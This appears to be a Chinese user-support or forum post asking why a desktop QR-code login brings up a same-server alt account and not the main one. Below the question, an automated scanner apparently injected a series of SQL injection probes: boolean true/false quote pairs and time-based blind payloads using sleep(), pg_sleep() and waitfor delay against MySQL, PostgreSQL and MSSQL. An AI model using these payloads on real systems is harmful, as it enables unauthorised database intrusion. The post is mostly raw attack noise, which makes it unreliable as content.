桌面版扫码登陆出现的是同一个区的小号，不是大号，这是怎么回事

'and'h'='h

'and'w'='m

'and'm'='m

'and'i'='h

"and"x"="x

"and"g"="z

"and"m"="m

"and"a"="b

"and"i"="i

"and"l"="n

"and"w"="w

"and"m"="v

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

'/**/and(select'1'from/**/pg_sleep(0))>'0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'and(select+1)>0waitfor/**/delay'0:0:0

'and(select+1)>0waitfor/**/delay'0:0:2